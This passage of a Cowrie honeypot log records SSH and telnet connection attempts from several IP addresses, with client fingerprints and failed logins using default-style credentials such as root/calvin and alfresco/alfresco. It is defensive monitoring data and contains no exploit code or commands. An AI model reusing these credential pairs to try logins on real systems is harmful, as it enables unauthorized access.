nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:41.204449Z","src_ip":"159.203.92.129","session":"dda3e35f28d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"root","message":"login attempt [alfred/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:41.231806Z","src_ip":"159.203.92.129","session":"dda3e35f28d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:42.237978Z","src_ip":"159.203.92.129","session":"dda3e35f28d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":12520,"dst_ip":"159.203.135.109","dst_port":22,"session":"7422539db8e3","protocol":"ssh","message":"New connection: 152.32.213.101:12520 (159.203.135.109:22) [session: 7422539db8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:14.356901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:14.364379Z","src_ip":"152.32.213.101","session":"7422539db8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:14.576265Z","src_ip":"152.32.213.101","session":"7422539db8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":55036,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf7a6518526","protocol":"ssh","message":"New connection: 171.244.143.209:55036 (10.17.0.5:22) [session: fdf7a6518526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:14.728218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:14.742504Z","src_ip":"171.244.143.209","session":"fdf7a6518526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:14.992592Z","src_ip":"171.244.143.209","session":"fdf7a6518526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester2025","message":"login attempt [tester/tester2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:15.429296Z","src_ip":"152.32.213.101","session":"7422539db8e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:16.011798Z","src_ip":"171.244.143.209","session":"fdf7a6518526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:16.653290Z","src_ip":"152.32.213.101","session":"7422539db8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:17.270528Z","src_ip":"171.244.143.209","session":"fdf7a6518526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34842,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bea94e18667","protocol":"ssh","message":"New connection: 159.203.92.129:34842 (159.203.135.109:22) [session: 2bea94e18667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:26.001276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:26.006244Z","src_ip":"159.203.92.129","session":"2bea94e18667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:26.012179Z","src_ip":"159.203.92.129","session":"2bea94e18667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfresco","password":"123456","message":"login attempt [alfresco/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:26.023439Z","src_ip":"159.203.92.129","session":"2bea94e18667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:27.029730Z","src_ip":"159.203.92.129","session":"2bea94e18667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":38454,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a8f268fe7d","protocol":"ssh","message":"New connection: 112.217.199.222:38454 (10.17.0.5:22) [session: 13a8f268fe7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:32.019858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:32.024749Z","src_ip":"112.217.199.222","session":"13a8f268fe7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:32.232665Z","src_ip":"112.217.199.222","session":"13a8f268fe7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hik12345+","message":"login attempt [root/hik12345+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:33.093471Z","src_ip":"112.217.199.222","session":"13a8f268fe7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:34.303295Z","src_ip":"112.217.199.222","session":"13a8f268fe7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.134.200.55","src_port":41600,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bb163c1e68","protocol":"telnet","message":"New connection: 115.134.200.55:41600 (159.203.135.109:23) [session: 90bb163c1e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:38.225181Z"}
{"eventid":"cowrie.session.closed","duration":13.484317541122437,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:54:51.709394Z","src_ip":"115.134.200.55","session":"90bb163c1e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":30338,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbd9d7ce62eb","protocol":"ssh","message":"New connection: 152.32.213.101:30338 (159.203.135.109:22) [session: dbd9d7ce62eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:09.781329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:09.786124Z","src_ip":"152.32.213.101","session":"dbd9d7ce62eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:10.008966Z","src_ip":"152.32.213.101","session":"dbd9d7ce62eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"newpass","message":"login attempt [testuser/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:10.917039Z","src_ip":"152.32.213.101","session":"dbd9d7ce62eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39596,"dst_ip":"159.203.135.109","dst_port":22,"session":"5058a7032aaf","protocol":"ssh","message":"New connection: 159.203.92.129:39596 (159.203.135.109:22) [session: 5058a7032aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:11.663373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:11.668466Z","src_ip":"159.203.92.129","session":"5058a7032aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:11.672754Z","src_ip":"159.203.92.129","session":"5058a7032aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfresco","password":"alfresco","message":"login attempt [alfresco/alfresco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:11.687109Z","src_ip":"159.203.92.129","session":"5058a7032aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:12.147070Z","src_ip":"152.32.213.101","session":"dbd9d7ce62eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:12.693244Z","src_ip":"159.203.92.129","session":"5058a7032aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":43676,"dst_ip":"10.17.0.5","dst_port":22,"session":"c63c22877496","protocol":"ssh","message":"New connection: 171.244.143.209:43676 (10.17.0.5:22) [session: c63c22877496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:26.077919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:26.082949Z","src_ip":"171.244.143.209","session":"c63c22877496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:26.333810Z","src_ip":"171.244.143.209","session":"c63c22877496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":56040,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a5999e7f6e0","protocol":"ssh","message":"New connection: 112.217.199.222:56040 (10.17.0.5:22) [session: 8a5999e7f6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:27.318711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:27.323138Z","src_ip":"112.217.199.222","session":"8a5999e7f6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kK123456","message":"login attempt [root/kK123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:27.347806Z","src_ip":"171.244.143.209","session":"c63c22877496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed255